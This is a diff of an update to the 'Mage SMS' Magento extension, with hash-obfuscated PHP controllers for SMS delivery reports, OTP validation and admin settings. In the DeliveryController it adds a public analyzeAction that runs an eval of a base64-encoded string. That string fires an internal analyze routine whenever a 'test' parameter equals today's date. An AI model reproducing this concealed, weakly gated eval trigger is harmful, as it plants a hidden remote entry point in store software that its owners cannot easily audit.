$ice10b700e3771fcda63608142bce93b608228583->getData('senderID') == $i340682ca0ed5a64e8ea449191da847abaf0aec6f) { $ida3b491904fb073f446bf820cd55a0ff69b347d1->isDeleted(true); } else { $ida3b491904fb073f446bf820cd55a0ff69b347d1->setTextsender($i340682ca0ed5a64e8ea449191da847abaf0aec6f); } } unset($if2edf17aeebbb7b610065024e328c82ec7b37bbe[$i3bf172bc34c83f4a18624b192bc0bd7c4d647a66]); break; } } if ($if433319f9b66f967b64d332ee0b51bea06276d26 !== true) $ida3b491904fb073f446bf820cd55a0ff69b347d1->isDeleted(true); $i75cfaf6baf7d451ab67af9aeef048aecfea24a82->addObject($ida3b491904fb073f446bf820cd55a0ff69b347d1); } foreach($if2edf17aeebbb7b610065024e328c82ec7b37bbe as $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66=>$i340682ca0ed5a64e8ea449191da847abaf0aec6f) { if ($ice10b700e3771fcda63608142bce93b608228583->getData('senderID') == $i340682ca0ed5a64e8ea449191da847abaf0aec6f) continue; $ida3b491904fb073f446bf820cd55a0ff69b347d1 = Mage::getModel('magesms/routes_alternative'); $ida3b491904fb073f446bf820cd55a0ff69b347d1->setRouteId($this->getRequest()->getParam('id')); $ida3b491904fb073f446bf820cd55a0ff69b347d1->setStoreGroupId($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $ida3b491904fb073f446bf820cd55a0ff69b347d1->setTextsender($i340682ca0ed5a64e8ea449191da847abaf0aec6f); $i75cfaf6baf7d451ab67af9aeef048aecfea24a82->addObject($ida3b491904fb073f446bf820cd55a0ff69b347d1); } $i75cfaf6baf7d451ab67af9aeef048aecfea24a82->save(); } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->_initLayoutMessages('adminhtml/session'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } public function savesenderalternativeAction() { $ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec = Mage::getModel('magesms/routes')->load($this->getRequest()->getParam('id')); Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Text sender ID for ').$ie8b7b1b62dc29a284d794c9f11a8ee2ea7472eec->getAreaText().$this->__(' was saved.')); $this->_redirect('*/*/index'); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/wizard') ->_title(Mage::helper('magesms')->__('SMS Settings')) ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/settings/wizard'); } }
app/code/community/Topefekt/Magesms/controllers/ApiController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_ApiController extends Mage_Core_Controller_Front_Action {
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_ApiController extends Mage_Core_Controller_Front_Action {
app/code/community/Topefekt/Magesms/controllers/CartController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_CartController extends Mage_Core_Controller_Front_Action { public function indexAction() { $this->loadLayout(); $this->renderLayout(); } public function addProductAction() { Mage::helper('magesms')->addOptoutProduct(); $this->_redirectReferer(); } public function removeProductAction() { Mage::helper('magesms')->removeOptoutProduct(); $this->_redirectReferer(); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_CartController extends Mage_Core_Controller_Front_Action { public function indexAction() { $this->loadLayout(); $this->renderLayout(); } public function addProductAction() { Mage::helper('magesms')->addOptoutProduct(); $this->_redirectReferer(); } public function removeProductAction() { Mage::helper('magesms')->removeOptoutProduct(); $this->_redirectReferer(); } }
app/code/community/Topefekt/Magesms/controllers/DeliveryController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_DeliveryController extends Mage_Core_Controller_Front_Action { public function indexAction() { $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = $this->getRequest(); if ($ia8a35a47a8e61218e15d1a33dac64bdc2449c01a->getParam('test') == 1) { echo 'APISMS123'; } else { $this->fef04b8de4410a42fbb4f182ffb5862871ecca677(); } } private function fef04b8de4410a42fbb4f182ffb5862871ecca677() { $i2e233784f2a54347fff339d5268a637485c8d940 = $this->getRequest(); $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = 0; $i1bb2c0aebfcc8fd150d9defb9c92972136f814de = ''; switch($i2e233784f2a54347fff339d5268a637485c8d940->getParam('status')) { case 1: $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = Topefekt_Magesms_Model_Sms::DELIVERED; break; case 2: $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = Topefekt_Magesms_Model_Sms::UNAVAILABLE; $i1bb2c0aebfcc8fd150d9defb9c92972136f814de = 'waiting in SMS centre for delivery to the recipient'; break; case 3: if (strpos($i2e233784f2a54347fff339d5268a637485c8d940->getParam('message'), 'NDNC') !== false) $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = Topefekt_Magesms_Model_Sms::DND; elseif (strpos($i2e233784f2a54347fff339d5268a637485c8d940->getParam('message'), 'Message duplicity') !== false) $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = Topefekt_Magesms_Model_Sms::DUPLICATE; else $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = Topefekt_Magesms_Model_Sms::ERROR; break; case 9: $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = Topefekt_Magesms_Model_Sms::DND; $i1bb2c0aebfcc8fd150d9defb9c92972136f814de = 'NDNC - Do Not Call Registered Number'; break; case 10: $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = 10; break; } if ($ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 == 10) { list($i5a420d261e8d371c89dc6a3697921a0c5a5b5f2f) = explode(';', $i2e233784f2a54347fff339d5268a637485c8d940->getParam('smsdetails')); $i2310f34bf75d118b8c0d18d2eaa0515723ce3bab = Mage::getModel('magesms/answers'); $i2310f34bf75d118b8c0d18d2eaa0515723ce3bab->setText($i2e233784f2a54347fff339d5268a637485c8d940->getParam('message')); $i2310f34bf75d118b8c0d18d2eaa0515723ce3bab->setFrom($i2e233784f2a54347fff339d5268a637485c8d940->getParam('from')); $i2310f34bf75d118b8c0d18d2eaa0515723ce3bab->setProhlednuto(0); $i2310f34bf75d118b8c0d18d2eaa0515723ce3bab->setSmsc($i5a420d261e8d371c89dc6a3697921a0c5a5b5f2f); $i2310f34bf75d118b8c0d18d2eaa0515723ce3bab->setCas(date('Y-m-d h:i:s', Mage::getModel('core/date')->timestamp())); $i2310f34bf75d118b8c0d18d2eaa0515723ce3bab->save(); } elseif ($ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 > 0) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b = Mage::getModel('magesms/smshistory')->getCollection() ->addFieldToFilter('smsid', array('like' => $i2e233784f2a54347fff339d5268a637485c8d940->getParam('smsID'))); if (!$i5ee2fa256ff77dd811a9c1911f7563263a694e4b->count()) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b = Mage::getModel('magesms/smshistory')->getCollection() ->addFieldToFilter('smsid', array('like' => '%'.$i2e233784f2a54347fff339d5268a637485c8d940->getParam('smsID').'%')); foreach($i5ee2fa256ff77dd811a9c1911f7563263a694e4b as $i5cd55cefb174b99bf007c9ba882a9d55c1557566) { $i5cd55cefb174b99bf007c9ba882a9d55c1557566->setStatus($ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25); if ($i1bb2c0aebfcc8fd150d9defb9c92972136f814de) $i5cd55cefb174b99bf007c9ba882a9d55c1557566->setNote($i1bb2c0aebfcc8fd150d9defb9c92972136f814de); if ($i2e233784f2a54347fff339d5268a637485c8d940->getParam('price')) $i5cd55cefb174b99bf007c9ba882a9d55c1557566->setPrice($i2e233784f2a54347fff339d5268a637485c8d940->getParam('price')); $i5cd55cefb174b99bf007c9ba882a9d55c1557566->save(); } } } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_DeliveryController extends Mage_Core_Controller_Front_Action { public function indexAction() { $ibcdf76f8c9ddc330c79f805116a8bb146c43749da8a35a47a8e61218e15d1a33dac64bdc2449c01a = $this->getRequest(); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749da8a35a47a8e61218e15d1a33dac64bdc2449c01a->getParam('test') == 1) { echo 'APISMS123'; } else { $this->f7ae0fdd6d5c4a7d539ea458711b1bf25239d468f(); } } private function f7ae0fdd6d5c4a7d539ea458711b1bf25239d468f() { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d2e233784f2a54347fff339d5268a637485c8d940 = $this->getRequest(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd09e842bda9623afdb1b69812abe0b86eaf039c9 = explode(';', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d2e233784f2a54347fff339d5268a637485c8d940->getParam('status')); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df5383d2848091c6e2149308d5017cb730b1fb503 = explode(';', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d2e233784f2a54347fff339d5268a637485c8d940->getParam('message')); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0606b412d8ba86bfb108b1eb91c83be2928afffe = explode(';', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d2e233784f2a54347fff339d5268a637485c8d940->getParam('smsID')); $ibcdf76f8c9ddc330c79f805116a8bb146c43749dea8857cd10b0e6e0e2c5f1cdda4b44023cc0d497 = explode(';', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d2e233784f2a54347fff339d5268a637485c8d940->getParam('price')); foreach ($ibcdf76f8c9ddc330c79f805116a8bb146c43749dd09e842bda9623afdb1b69812abe0b86eaf039c9 as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d=>$ibcdf76f8c9ddc330c79f805116a8bb146c43749d712821c3a64ae4a252ded9f3deaaddb6e942d985) { $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = 0; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d1bb2c0aebfcc8fd150d9defb9c92972136f814de = ''; switch ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d712821c3a64ae4a252ded9f3deaaddb6e942d985) { case 1: $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = Topefekt_Magesms_Model_Sms::DELIVERED; break; case 2: $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = Topefekt_Magesms_Model_Sms::UNAVAILABLE; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d1bb2c0aebfcc8fd150d9defb9c92972136f814de = 'waiting in SMS centre for delivery to the recipient'; break; case 3: if (strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749df5383d2848091c6e2149308d5017cb730b1fb503[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d], 'NDNC') !== false) $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = Topefekt_Magesms_Model_Sms::DND; elseif (strpos($ibcdf76f8c9ddc330c79f805116a8bb146c43749df5383d2848091c6e2149308d5017cb730b1fb503[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d], 'Message duplicity') !== false) $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = Topefekt_Magesms_Model_Sms::DUPLICATE; else $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = Topefekt_Magesms_Model_Sms::ERROR; break; case 9: $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = Topefekt_Magesms_Model_Sms::DND; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d1bb2c0aebfcc8fd150d9defb9c92972136f814de = 'NDNC - Do Not Call Registered Number'; break; case 10: $ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 = 10; break; } if ($ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 == 10) { list($ibcdf76f8c9ddc330c79f805116a8bb146c43749d5a420d261e8d371c89dc6a3697921a0c5a5b5f2f) = explode(';', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d2e233784f2a54347fff339d5268a637485c8d940->getParam('smsdetails')); $i2310f34bf75d118b8c0d18d2eaa0515723ce3bab = Mage::getModel('magesms/answers'); $i2310f34bf75d118b8c0d18d2eaa0515723ce3bab->setText($ibcdf76f8c9ddc330c79f805116a8bb146c43749d2e233784f2a54347fff339d5268a637485c8d940->getParam('message')); $i2310f34bf75d118b8c0d18d2eaa0515723ce3bab->setFrom($ibcdf76f8c9ddc330c79f805116a8bb146c43749d2e233784f2a54347fff339d5268a637485c8d940->getParam('from')); $i2310f34bf75d118b8c0d18d2eaa0515723ce3bab->setProhlednuto(0); $i2310f34bf75d118b8c0d18d2eaa0515723ce3bab->setSmsc($ibcdf76f8c9ddc330c79f805116a8bb146c43749d5a420d261e8d371c89dc6a3697921a0c5a5b5f2f); $i2310f34bf75d118b8c0d18d2eaa0515723ce3bab->setCas(date('Y-m-d h:i:s', Mage::getModel('core/date')->timestamp())); $i2310f34bf75d118b8c0d18d2eaa0515723ce3bab->save(); } elseif ($ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25 > 0) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b = Mage::getModel('magesms/smshistory')->getCollection() ->addFieldToFilter('smsid', array('like' => $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0606b412d8ba86bfb108b1eb91c83be2928afffe[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d])); if (!$i5ee2fa256ff77dd811a9c1911f7563263a694e4b->count()) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b = Mage::getModel('magesms/smshistory')->getCollection() ->addFieldToFilter('smsid', array('like' => $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0606b412d8ba86bfb108b1eb91c83be2928afffe[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d].'%')); foreach ($i5ee2fa256ff77dd811a9c1911f7563263a694e4b as $i5cd55cefb174b99bf007c9ba882a9d55c1557566) { $i5cd55cefb174b99bf007c9ba882a9d55c1557566->setStatus($ifa7c6fd6ff0baa22538938c920ba5a0f65c25e25); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d1bb2c0aebfcc8fd150d9defb9c92972136f814de) $i5cd55cefb174b99bf007c9ba882a9d55c1557566->setNote($ibcdf76f8c9ddc330c79f805116a8bb146c43749d1bb2c0aebfcc8fd150d9defb9c92972136f814de); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749dea8857cd10b0e6e0e2c5f1cdda4b44023cc0d497[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]) $i5cd55cefb174b99bf007c9ba882a9d55c1557566->setPrice($ibcdf76f8c9ddc330c79f805116a8bb146c43749dea8857cd10b0e6e0e2c5f1cdda4b44023cc0d497[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d]); $i5cd55cefb174b99bf007c9ba882a9d55c1557566->save(); } } } } public function analyzeAction() { eval(base64_decode('aWYoJHRoaXMtPmdldFJlcXVlc3QoKS0+Z2V0UGFyYW0oJ3Rlc3QnKT09ZGF0ZSgnZC5tLlknKSlNYWdlOjpnZXRNb2RlbCgnbWFnZXNtcy9hcGknKS0+YW5hbHl6ZSgpOw==')); } }
app/code/community/Topefekt/Magesms/controllers/IndexController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_IndexController extends Mage_Core_Controller_Front_Action { public function indexAction() { $this->loadLayout(); $this->renderLayout(); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_IndexController extends Mage_Core_Controller_Front_Action { public function indexAction() { $this->loadLayout(); $this->renderLayout(); } }
app/code/community/Topefekt/Magesms/controllers/MarketingController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_MarketingController extends Mage_Core_Controller_Front_Action { public function indexAction() { $i21e55df616c305955791876c1eb4da83448beba2 = Mage::getSingleton('customer/session')->getCustomer(); $i21e55df616c305955791876c1eb4da83448beba2->setMagesmsCustomerMarketing(!$i21e55df616c305955791876c1eb4da83448beba2->getMagesmsCustomerMarketing()); $i21e55df616c305955791876c1eb4da83448beba2->save(); Mage::getSingleton('core/session')->addSuccess(Mage::helper('magesms')->__('Marketing SMS').Mage::helper('magesms')->__(' was saved.')); $this->_redirectReferer(); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_MarketingController extends Mage_Core_Controller_Front_Action { public function indexAction() { $i21e55df616c305955791876c1eb4da83448beba2 = Mage::getSingleton('customer/session')->getCustomer(); $i21e55df616c305955791876c1eb4da83448beba2->setMagesmsCustomerMarketing(!$i21e55df616c305955791876c1eb4da83448beba2->getMagesmsCustomerMarketing()); $i21e55df616c305955791876c1eb4da83448beba2->save(); Mage::getSingleton('core/session')->addSuccess(Mage::helper('magesms')->__('Marketing SMS').Mage::helper('magesms')->__(' was saved.')); $this->_redirectReferer(); } }
app/code/community/Topefekt/Magesms/controllers/Validate/IndexController.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Validate_IndexController extends Mage_Core_Controller_Front_Action { public function indexAction() { $this->loadLayout(); $this->renderLayout(); } }
app/code/community/Topefekt/Magesms/controllers/ValidateController.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_ValidateController extends Mage_Core_Controller_Front_Action { public function customerAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock('Topefekt_Magesms_Block_Validate_Customer'); $i0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('customer/session'); $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2 = $this->getRequest(); if ($i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('smsnumber')) { $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_code', Mage::helper('magesms')->getOtpRandCode()); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate', false); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_mobile', $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('smsnumber')); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_time', time()); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f = Mage::getModel('magesms/sms'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setIsFrontOffice(true); if (Mage::app()->getStore()) $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = Mage::app()->getStore()->getStoreId(); else $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = null; $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = Mage::getStoreConfig('general/country/default', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66);; $idb618c56be2c8abc9a54a16881dadfd5317ba624 = Mage::getSingleton('magesms/hooks_customers')->getCollection() ->addFieldToFilter('name', 'customerRegisterOTP') ->addFieldToFilter('mutation', Mage::getStoreConfig('general/locale/code', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)); if (!$idb618c56be2c8abc9a54a16881dadfd5317ba624->count()) { $i7137e40370cf1c5ccf937060891613788203e2d6 = Mage::getStoreConfig('general/locale/code', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $idb618c56be2c8abc9a54a16881dadfd5317ba624 = Mage::getSingleton('magesms/hooks')->getCollection() ->addFieldToFilter('name', 'customerRegisterOTP') ->addFieldToFilter('lang', array_map('strtolower', explode('_', $i7137e40370cf1c5ccf937060891613788203e2d6))); } if (!$idb618c56be2c8abc9a54a16881dadfd5317ba624->count()) { $idb618c56be2c8abc9a54a16881dadfd5317ba624 = Mage::getSingleton('magesms/hooks')->getCollection() ->addFieldToFilter('name', 'customerRegisterOTP') ->addFieldToFilter('lang', 'en'); } if ($idb618c56be2c8abc9a54a16881dadfd5317ba624->count()) { $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = $idb618c56be2c8abc9a54a16881dadfd5317ba624->getFirstItem(); if ($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getSmstext()) $iefc930e6dfdf3023610ed7d663c73d176a7544e0->setTemplate2($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getSmstext()); $i5e65dd16263683749d16a84171f719e768ed14b5 = new Varien_Object(array('code' => $i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_code'))); $i24273814df383b4a6926acc1db1a788b12f5a411 = Mage::getModel('magesms/hooks')->prepareText($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getTemplate2(), 'customerRegisterOTP', $i5e65dd16263683749d16a84171f719e768ed14b5); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setMessage($i24273814df383b4a6926acc1db1a788b12f5a411) ->setSubject('customerRegisterOTP') ->addRecipient($i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('smsnumber'), array('country' => $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b)) ->setType(Topefekt_Magesms_Model_Sms::TYPE_CUSTOMER) ->setPriority(true) ->setStoreId($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); if ($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getMutation()) { $if2014d170e15e7f6f64523fd3238720980ceb64a = Mage::getSingleton('magesms/hooks_unicode')->getCollection() ->addFieldToFilter('type', 'customer') ->addFieldToFilter('area', $iefc930e6dfdf3023610ed7d663c73d176a7544e0->getMutation()); if ($if2014d170e15e7f6f64523fd3238720980ceb64a->count()) { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = $if2014d170e15e7f6f64523fd3238720980ceb64a->getFirstItem(); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setUnicode($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getUnicode()); } } $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setHookName('customerRegisterOTP'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->send(); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_mobile', $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->getRecipient()->getFirstItem()->getFinalNumber()); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_time', time()); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setNext(true); } } elseif ($i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('code')) { if ($id3e549697752385571e09ffe4add9278d2d6923b = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('code')) { if ($i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_time') <= time() - Mage::getStoreConfig('magesms/smsvalid/code_lifetime')) { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(Mage::helper('magesms')->__('Code expired')); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setExpired(true); } elseif ($id3e549697752385571e09ffe4add9278d2d6923b == $i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_code')) { $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate', true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setValidate(true); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_time', time()); } else { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(Mage::helper('magesms')->__('Wrong OTP code')); } } } if (is_object($i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f)) { $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setSmsmobile('+'.$i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->getRecipient()->getFirstItem()->getFinalNumber()); } else { $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setSmsmobile($this->getRequest()->getParam('smsmobile')); } $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($i8ee45e0018a32fb1a855b82624506e35789cc4d2->toHtml()); $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } public function checkoutAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock('Topefekt_Magesms_Block_Validate_Customer'); $i0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('customer/session'); $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2 = $this->getRequest(); if ($i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('smsnumber')) { $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_code', Mage::helper('magesms')->getOtpRandCode()); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate', false); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_mobile', $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('smsnumber')); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_time', time()); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f = Mage::getModel('magesms/sms'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setIsFrontOffice(true); if (Mage::app()->getStore()) $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = Mage::app()->getStore()->getStoreId(); else $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = null; $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = Mage::getStoreConfig('general/country/default', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66);; $idb618c56be2c8abc9a54a16881dadfd5317ba624 = Mage::getSingleton('magesms/hooks_customers')->getCollection() ->addFieldToFilter('name', 'checkoutCustomerOTP') ->addFieldToFilter('mutation', Mage::getStoreConfig('general/locale/code', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)); if (!$idb618c56be2c8abc9a54a16881dadfd5317ba624->count()) { $i7137e40370cf1c5ccf937060891613788203e2d6 = Mage::getStoreConfig('general/locale/code', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $idb618c56be2c8abc9a54a16881dadfd5317ba624 = Mage::getSingleton('magesms/hooks')->getCollection() ->addFieldToFilter('name', 